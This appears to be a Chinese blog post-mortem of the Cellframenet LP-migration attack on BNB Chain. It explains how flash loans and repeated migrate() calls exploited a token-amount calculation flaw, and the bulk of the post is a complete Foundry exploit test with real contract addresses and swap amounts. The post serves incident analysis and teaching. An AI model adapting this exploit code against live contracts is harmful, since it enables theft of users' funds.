Cellframenet攻击事件复盘-token数量计算问题

这起事件的原因被确认为在流动性迁移过程中计算token数量时出现了问题。

漏洞合约地址:0x2525c811EcF22Fc5fcdE03c67112D34E97DA6079

攻击者首先在DPP上通过闪电贷获取了1000BNB,然后以此为抵押又从Pancake V3获取了500,000个"new cell" token。

 所有的"new cell" token被换成BNB,导致池子里面的BNB余额几乎为0。攻击者们继续使用900BNB购买了对应的"old cell" token。

然后攻击者为"old cell"和BNB增加了流动性,允许它们可以获得"old LP" token。

攻击者初始化了流动性迁移函数。新的池子中有着最少得BNB,但是老的池子有着"old cell" token。在迁移过程中的流动性移除导致了BNB的增加和"old cell"的减少,因为它们在旧池子中被限制使用。

变量"resoult"和"token1"增大,用户只需要少量的BNB和"new cell" token便能获得流动性。超出的BNB和"old cell" token将会被归还给用户。

流动性迁移过程被重复多次,每次循环进一步加剧池子的不平衡状态,放大了攻击者的收益。

 

 最后攻击者从新池子中提取流动性,将返还的"old cell" token换成BNB。最终,旧池子里面有足够多的"old cell" token,但是没有BNB,攻击者成功地将"old cell" token换成金银白银的$BNB。

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo - Total Lost : ~76K USD$
// Attacker - https://bscscan.com/address/0x2525c811ecf22fc5fcde03c67112d34e97da6079
// Attack contract - https://bscscan.com/address/0x1e2a251b29e84e1d6d762c78a9db5113f5ce7c48
// Attack Tx : https://bscscan.com/tx/0x943c2a5f89bc0c17f3fe1520ec6215ed8c6b897ce7f22f1b207fea3f79ae09a6
// Pre-Attack Tx: https://bscscan.com/tx/0xe2d496ccc3c5fd65a55048391662b8d40ddb5952dc26c715c702ba3929158cb9

// @Analysis - https://twitter.com/numencyber/status/1664132985883615235?cxt=HHwWhoDTqceImJguAAAA

interface IPancakeV3Pool {
    function flash(
        address recipient,
        uint256 amount0,
        uint256 amount1,
        bytes calldata data
    ) external;
}

interface IPancakeRouterV3 {
    struct ExactInputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 amountIn;
        uint256 amountOutMinimum;
        uint160 sqrtPriceLimitX96;
    }

    function exactInputSingle(
        ExactInputSingleParams memory params
    ) external payable returns (uint256 amountOut);
}

interface ILpMigration {
    function migrate(uint256 amountLP) external;
}

contract ContractTest is Test {
    IDPPOracle DPPOracle =
        IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
    IPancakeV3Pool PancakePool =
        IPancakeV3Pool(0xA2C1e0237bF4B58bC9808A579715dF57522F41b2);
    Uni_Router_V2 Router =
        Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    Uni_Pair_V2 CELL9 = Uni_Pair_V2(0x06155034f71811fe0D6568eA8bdF6EC12d04Bed2);
    IPancakePair PancakeLP =
        IPancakePair(0x1c15f4E3fd885a34660829aE692918b4b9C1803d);
    ILpMigration LpMigration =
        ILpMigration(0xB4E47c13dB187D54839cd1E08422Af57E5348fc1);
    IPancakeRouterV3 SmartRouter =
        IPancakeRouterV3(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IERC20 oldCELL = IERC20(0xf3E1449DDB6b218dA2C9463D4594CEccC8934346);
    IERC20 newCELL = IERC20(0xd98438889Ae7364c7E2A3540547Fad042FB24642);
    IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
    address public constant zap = 0x5E86bD98F7BEFBF5C602EdB5608346f65D9578c3;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 28708273);
        cheats.label(address(DPPOracle), "DPPOracle");
        cheats.label(address(PancakePool), "PancakePool");
        cheats.label(address(Router), "Router");
        cheats.label(address(PancakeLP), "PancakeLP");
        cheats.label(address(LpMigration), "LpMigration");
        cheats.label(address(SmartRouter), "SmartRouter");
        cheats.label(address(CELL9), "CELL9");
        cheats.label(address(WBNB), "WBNB");
        cheats.label(address(oldCELL), "oldCELL");
        cheats.label(address(newCELL), "newCELL");
        cheats.label(address(BUSD), "BUSD");
        cheats.label(zap, "Zap");
    }

    function testExploit() public {
        deal(address(WBNB), address(this), 0.1 ether);
        emit log_named_decimal_uint(
            "Attacker WBNB balance before attack",
            WBNB.balanceOf(address(this)),
            WBNB.decimals()
        );

        // Preparation. Pre-attack transaction
        WBNB.approve(address(Router), type(uint256).max);
        swapTokens(
            address(WBNB),
            address(oldCELL),
            WBNB.balanceOf(address(this))
        );

        oldCELL.approve(zap, type(uint256).max);
        oldCELL.approve(address(Router), type(uint256).max);
        swapTokens(
            address(oldCELL),
            address(WBNB),
            oldCELL.balanceOf(address(this)) / 2
        );

        Router.addLiquidity(
            address(oldCELL),
            address(WBNB),
            oldCELL.balanceOf(address(this)),
            WBNB.balanceOf(address(this)),
            0,
            0,
            address(this),
            block.timestamp + 100
        );

        // End of preparation. Attack start
        DPPOracle.flashLoan(1_000 * 1e18, 0, address(this), new bytes(1));

        emit log_named_decimal_uint(
            "Attacker WBNB balance after attack",
            WBNB.balanceOf(address(this)),
            WBNB.decimals()
        );
    }

    function DPPFlashLoanCall(
        address sender,
        uint256 baseAmount,
        uint256 quoteAmount,
        bytes calldata data
    ) external {
        PancakePool.flash(
            address(this),
            0,
            500_000 * 1e18,
            hex"0000000000000000000000000000000000000000000069e10de76676d0800000"
        );
        newCELL.approve(address(SmartRouter), type(uint256).max);
        smartRouterSwap();

        swapTokens(
            address(newCELL),
            address(WBNB),
            94_191_714_329_478_648_796_861
        );

        swapTokens(
            address(newCELL),
            address(BUSD),
            newCELL.balanceOf(address(this))
        );

        BUSD.approve(address(Router), type(uint256).max);
        swapTokens(address(BUSD), address(WBNB), BUSD.balanceOf(address(this)));

        WBNB.transfer(address(DPPOracle), 1_000 * 1e18);
    }

    function pancakeV3FlashCallback(
        uint256 fee0,
        uint256 fee1,
        bytes calldata data
    ) external {
        newCELL.approve(address(Router), type(uint256).max);
        CELL9.approve(address(LpMigration), type(uint256).max);

        swapTokens(address(newCELL), address(WBNB), 500_000 * 1e18);
        // Acquiring oldCELL tokens
        swapTokens(address(WBNB), address(oldCELL), 900 * 1e18);

        // Liquidity amount to migrate (for one call to migrate() func)
        uint256 lpAmount = CELL9.balanceOf(address(this)) / 10;
        emit log_named_uint(
            "Amount of liquidity to migrate (for one migrate call)",
            lpAmount
        );

        // 8 calls to migrate were successfull. Ninth - revert in attack tx.
        for (uint256 i; i < 9; ++i) {
            LpMigration.migrate(lpAmount);
        }

        PancakeLP.transfer(
            address(PancakeLP),
            PancakeLP.balanceOf(address(this))
        );
        PancakeLP.burn(address(this));

        swapTokens(
            address(WBNB),
            address(newCELL),
            WBNB.balanceOf(address(this))
        );
        swapTokens(
            address(oldCELL),
            address(WBNB),
            oldCELL.balanceOf(address(this))
        );

        newCELL.transfer(address(PancakePool), 500_000 * 1e18 + fee1);
    }

    // Helper function for swap tokens with the use Pancake RouterV2
    function swapTokens(address from, address to, uint256 amountIn) internal {
        address[] memory path = new address[](2);
        path[0] = from;
        path[1] = to;
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            amountIn,
            0,
            path,
            address(this),
            block.timestamp + 100
        );
    }

    // Helper function for swap tokens with the use Pancake RouterV3
    function smartRouterSwap() internal {
        IPancakeRouterV3.ExactInputSingleParams memory params = IPancakeRouterV3
            .ExactInputSingleParams({
                tokenIn: address(newCELL),
                tokenOut: address(WBNB),
                fee: 500,
                recipient: address(this),
                amountIn: 768_165_437_250_117_135_819_067,
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });
        SmartRouter.exactInputSingle(params);
    }

    receive() external payable {}
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值